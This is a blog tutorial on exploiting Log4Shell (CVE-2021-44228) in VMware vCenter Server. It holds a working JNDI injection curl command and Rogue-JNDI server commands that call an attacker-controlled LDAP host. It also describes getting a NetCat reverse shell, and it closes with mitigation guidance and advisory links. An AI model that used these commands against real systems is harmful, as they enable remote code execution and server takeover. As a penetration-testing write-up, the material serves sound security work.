• Home
  • About Us
  • General
  • Wireless
  • Web
  • Scanning
  • Metasploit
  • Hacking Courses
    • OSCP
    • The Virtual Hacking Labs
    • Certified Ethical Hacker (CEH)
    • Hacking Books
  • More
    • Exploit tutorials
    • Pentesting Exchange
    • Networking
    • Malware Analysis
    • Hacking Metasploitable 2/3
    • Digital Forensics
  • Contact
Facebook Twitter Instagram
Trending
  • CVE-2022-3602 and CVE-2022-3786: OpenSSL 3.0.7 patches Critical Vulnerability
  • Installing Rogue-jndi on Kali Linux
  • Log4Shell VMware vCenter Server (CVE-2021-44228)
  • The Great Leak: Microsoft Exchange AutoDiscover Design Flaw
  • CVE-2019-19781: Citrix ADC RCE vulnerability
  • Vulnerability Scanning with OpenVAS 9 part 4: Custom scan configurations
  • Vulnerability Scanning with OpenVAS 9 part 3: Scanning the Network
  • Vulnerability Scanning with OpenVAS 9 part 2: Vulnerability Scanning
Facebook Twitter YouTube Tumblr Instagram Pinterest
Hacking Tutorials
  • Home
  • About Us
  • General
  • Wireless
  • Web
  • Scanning
  • Metasploit
  • Hacking Courses
    • OSCP
    • The Virtual Hacking Labs
    • Certified Ethical Hacker (CEH)
    • Hacking Books
  • More
    • Exploit tutorials
    • Pentesting Exchange
    • Networking
    • Malware Analysis
    • Hacking Metasploitable 2/3
    • Digital Forensics
  • Contact
Hacking Tutorials
You are at:Home » Exploit tutorials » Log4Shell VMware vCenter Server (CVE-2021-44228)

Log4Shell VMware vCenter Server (CVE-2021-44228)

0
By Hacking Tutorials on December 17, 2021 Exploit tutorials, Web Applications

Log4Shell is a critical vulnerability with the highest possible CVSSv3 score of 10.0 that affects thousands of products running Apache Log4j and leaves millions of targets potentially vulnerable. CVE-2021-44228 affects log4j versions 2.0-beta9 to 2.14.1. Log4j is an incredibly popular logging library used in many different products and various Apache frameworks like Struts2, Kafka, and Druid. So far, many different commercial products have been confirmed vulnerable, including iCloud, Steam, Minecraft, AWS, VMware and many others.

The critical Log4J vulnerability was privately disclosed to the Apache Software Foundation by a security researcher who initially discovered the issue but got public when the popular video game Minecraft published an update to resolve a security issue that allowing hackers to take over the server. After further investigation by the security community, it turned out that the vulnerability resided in a common package; Log4j.

Minecraft server 18.1 uses a vulnerable version of Log4j.

The critical vulnerability resides in the JNDI lookup function of the Java log4j library, allowing an attacker to write malicious code in the form of a LDAP query to the log file. The malicious string is then interpreted as a command by the log4j library and executed. The JNDI directory service will then send the request to an attacker-controlled LDAP server. The LDAP server response can include Java classes that the target host then executes. When an attacker succeeds in injecting the LDAP query to the attacker-controlled server in the log file of a vulnerable target, this may result in remote command execution allowing the attacker to take control of the vulnerable server. Exploiting this vulnerability may also result in the exfiltration of sensitive data as this vulnerability can also be used to read server environment variables. Sensitive information that is possibly stored in environment variables, such as Git credentials or AWS keys, can result in further compromise. Any service, application or system that accepts user input logged with a vulnerable version of Log4j is susceptible to this vulnerability.

To better understand how this vulnerability is exploited, let’s have a look at the following 5 steps:

  1. An attacker triggers the vulnerability by passing a malicious payload to an end point where it is logged by Log4J. This could be in a HTTP header on a login form, the chat of an application or any other endpoint that logs requests with user-supplied input.
  2. The application logs the user-supplied input with Log4J.
  3. The Log4j library executes the malicious payload and connects to a malicious LDAP server.
  4. The malicious LDAP server responds with a remote class file that contains the malicious commands.
  5. The application downloads and executes the remote Java class file.

Let’s elaborate this with a few examples seen in in the wild. An attacker could place a payload containing a malicious command in an HTTP header when requesting a login form running on a server running Log4j. The header contents are logged, interpreted by Log4j and the LDAP query is sent to the malicious LDAP server controlled by the attacker. The LDAP server responds with a remote Java class file that is then executed by the vulnerable server. Another good example seen in the wild is a vulnerable Minecraft server where payloads are typed in the game chat which are being logged by Log4j and eventually executed by the server. A proof-of-Concept exploit for the remote code execution vulnerability was published on December 9, 2021. Shortly thereafter, security researchers and threat intelligence specialists noted an increase in Log4J attack activity seeing more than 100 attacks a minute. However, it must be said that besides a number of confirmed attacks, a large part of these attacks come from security firms and researchers performing scans.

CVE-2021-44228: Remote Code Execution (RCE) vulnerability

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

CVE-2021-45046: Denial of service (DOS) vulnerability

https://nvd.nist.gov/vuln/detail/CVE-2021-45046

AWS Security bulletin

https://aws.amazon.com/security/security-bulletins/AWS-2021-006/

The Nationaal Cyber Security Centrum from the Netherlands also maintains an overview of any related software regarding the Log4j vulnerability:

https://github.com/NCSC-NL/log4shell/tree/main/software

VMware vCenter Log4Shell vulnerability

Among the affected products that implement Log4j is a range of VMWare products, including VMware vCenter Server. According to VMware Security Advisory VMSA-2021-0028, Exploitation attempts in the wild have been confirmed by VMware. Instances of VMware vCenter Server that are reachable from the internet should be secured immediately by installing patches when they become available, applying workarounds from VMware, or cutting them off from the internet. The current workarounds supplied by VMware add a configuration option to Log4j that sets the ‘formatMsgNoLookups’ property to true that can mitigate the issue after a restart and remove the JndiLookup class from the classpath.

-Dlog4j2.formatMsgNoLookups=true

VMware security advisory and FAQ

https://www.vmware.com/security/advisories/VMSA-2021-0028.html

https://core.vmware.com/vmsa-2021-0028-questions-answers-faq

https://blogs.vmware.com/vsphere/2021/12/vmsa-2021-0028-log4j-what-you-need-to-know.html

Testing and exploiting Log4Shell in VMware vCenter Server 7

In order to test whether the VMware vCenter Server in question is vulnerable we need to inject a payload where it is logged by the Log4J library. One way to do this is by adding a x-forwarded-for header with the payload to a request to the vCenter login page. With BurpSuite we can modify the request by appending the x-forwarded-for header which contains the payload as follows:

We can then see a request coming in on our NetCat listener:

Although this request is not a reverse shell or anything we can interact with, it does confirm code execution (or triggers the server to execute the LDAP query) on the remote server running a vulnerable version of Log4J. However, if we setup a local LDAP server we can use it to respond with a malicious entry containing a payload to achieve remote code execution. The following whitepaper provides an introduction into JNDI injection and code execution which is a great read:

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

With Rogue JNDI we can setup a malicious LDAP server for JNDI injection attacks. More information about Rogue JNDI is available here:

https://github.com/veracode-research/rogue-jndi Let’s set this up on our Kali Linux system with the following commands:

sudo apt-get install maven
git clone https://github.com/veracode-research/rogue-jndi.git
cd rogue-jndi
mvn package

A more detailed guide on building and installing Rogue-jndi is available here: https://www.hackingtutorials.org/general-tutorials/installing-rogue-jndi-on-kali-linux/

With the Rogue-jndi application installed we can run a local LDAP server with the following command:

java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test.txt" --hostname "172.16.5.2"

The command option is the command that is executed when the payload is served to the vulnerable server in response to the LDAP query.

The next step is to inject the payload in the logs using the x-forwarded-for header with the following command:

curl --insecure "https://10.15.1.201/websso/SAML2/SSO/vspheredemo.local?SAMLRequest=" -H "X-Forwarded-For: \${jndi:ldap://172.16.5.2:1389/o=tomcat}"

The server responds with a HTTP Status 403 code. When using the -v option with Curl we can also verify that the payload was applied to the header in the request to the vulnerable server:

We can then see an LDAP query coming in on the Local LDAP server: requesting the payload:

Finally, we can see that the payload was executed as the test.txt file has been created on the VMware vCenter host:

Since NetCat with the -e option (program to execute after connect) is installed by default on VMware vSphere server we can simply use that to get a reverse shell:

In this demonstration we’ve used NetCat to provide us with a reverse shell from the VMware vCenter host. Of course, there are many other ways to get a shell. For example, we can also use the wget command to download files to the vulnerable server and execute them.

Mitigating CVE-2021-44228 on VMware vCenter server

It cannot be said often enough to apply the patches and workarounds as soon as possible, especially when it comes to internet-connected systems. It is not a question of if, but when vulnerable systems connected to the internet will be compromised, if they are not already.

VMware is currently busy rolling out patches for its vulnerable products. However, workarounds are already available for many products that mitigate the vulnerability. We will not provide further technical information about the workarounds because VMware constantly updates the data. Thus, the information can quickly become outdated. It is recommended to use the link below to the VMware website to consult the workarounds. The workarounds are easy to apply and include backups of modified files, so you can always go back to the old situation if something went wrong. A restart of the server is also not required, only a restart of the services running on the VMware vCenter server resulting in a short downtime for vCenter server components.

VMware security advisory and FAQ

https://www.vmware.com/security/advisories/VMSA-2021-0028.html

https://core.vmware.com/vmsa-2021-0028-questions-answers-faqhttps://blogs.vmware.com/vsphere/2021/12/vmsa-2021-0028-log4j-what-you-need-to-know.html

Conclusion

Given the enormous magnitude of this vulnerability and the ease with which it can be exploited, we can say that the impact of this vulnerability is huge. Also, because the vulnerable applications are mainly used in enterprise environments. Since the Log4J library is used in many applications and it is not always immediately clear that this library is used for logging purposes, this vulnerability is most likely something we will see in the wild for a long time. Furthermore, it is also advisable to closely follow the news about this vulnerability and patches because there is a good chance that more and more different attack vectors will become known. Something that we also regularly see is that new vulnerabilities in patched versions come to light (think of the recent Apache HTTPD vulnerability where the patch also turned out to be vulnerable for denial-of-service attacks). This is not something you want to miss while assuming your applications are patched and secure.

It is also recommended to keep an eye on the following overview of vulnerable software and patches:

https://github.com/NCSC-NL/log4shell/tree/main/software

Virtual Hacking Labs - Penetration testing lab

Hacking Courses


Bug Bounty – An Advanced Guide to Finding Good Bugs

Real World Bug Bounty Techniques

Website Hacking / Penetration Testing & Bug Bounty Hunting

Become a bug bounty hunter! Hack websites & web applications like black hat hackers and secure them like experts.

Share on:

  • Email
Share. Facebook Twitter Pinterest LinkedIn Tumblr Email
Previous ArticleThe Great Leak: Microsoft Exchange AutoDiscover Design Flaw
Next Article Installing Rogue-jndi on Kali Linux

Related Posts

Installing Rogue-jndi on Kali Linux

CVE-2019-19781: Citrix ADC RCE vulnerability

Discovering subdomains with Sublist3r

Leave A Reply Cancel Reply

Top Tutorials
By Hacking TutorialsOctober 29, 20220

CVE-2022-3602 and CVE-2022-3786: OpenSSL 3.0.7 patches Critical Vulnerability

By Hacking TutorialsJanuary 10, 20220

Installing Rogue-jndi on Kali Linux

By Hacking TutorialsDecember 17, 20210

Log4Shell VMware vCenter Server (CVE-2021-44228)

By Hacking TutorialsSeptember 27, 20210

The Great Leak: Microsoft Exchange AutoDiscover Design Flaw

By Hacking TutorialsFebruary 4, 20200

CVE-2019-19781: Citrix ADC RCE vulnerability

By Hacking TutorialsNovember 1, 20188

Vulnerability Scanning with OpenVAS 9 part 4: Custom scan configurations

Subscribe

Enter your email address to subscribe to Hacking Tutorials and receive notifications of new tutorials by email.

Join 828 other subscribers
Recent Tutorials
  • CVE-2022-3602 and CVE-2022-3786: OpenSSL 3.0.7 patches Critical Vulnerability
  • Installing Rogue-jndi on Kali Linux
  • Log4Shell VMware vCenter Server (CVE-2021-44228)
  • The Great Leak: Microsoft Exchange AutoDiscover Design Flaw
  • CVE-2019-19781: Citrix ADC RCE vulnerability
Virtual Hacking Labs
Penetration Testin Course and Hacking Labs
Categories
  • Digital Forensics
  • Exploit tutorials
  • General Tutorials
  • Hacking Books
  • Hacking Courses
  • Malware Analysis Tutorials
  • Metasploit Tutorials
  • Networking
  • Pentesting Exchange
  • Scanning Tutorials
  • Web Applications
  • Wifi Hacking Tutorials
Downloads
  • directory_scanner.py (120565 downloads)
  • PEiD-0.95-20081103.zip (111420 downloads)
  • wifi_jammer.py (138162 downloads)
Recent Tutorials
  • CVE-2022-3602 and CVE-2022-3786: OpenSSL 3.0.7 patches Critical Vulnerability
  • Installing Rogue-jndi on Kali Linux
  • Log4Shell VMware vCenter Server (CVE-2021-44228)
  • The Great Leak: Microsoft Exchange AutoDiscover Design Flaw
  • CVE-2019-19781: Citrix ADC RCE vulnerability
  • Vulnerability Scanning with OpenVAS 9 part 4: Custom scan configurations
Popular Tutorials
By Hacking TutorialsSeptember 1, 2016115

Review: Offensive Security Certified Professional (OSCP)

By Hacking TutorialsApril 18, 201738

Exploiting Eternalblue for shell with Empire & Msfconsole

By Hacking TutorialsMarch 17, 201637

Installing VPN on Kali Linux 2016 Rolling

Featured Downloads
  • directory_scanner.py (120565 downloads)
  • PEiD-0.95-20081103.zip (111420 downloads)
  • wifi_jammer.py (138162 downloads)
© Hacking Tutorials 2022

Type above and press Enter to search. Press Esc to cancel.

Go to mobile version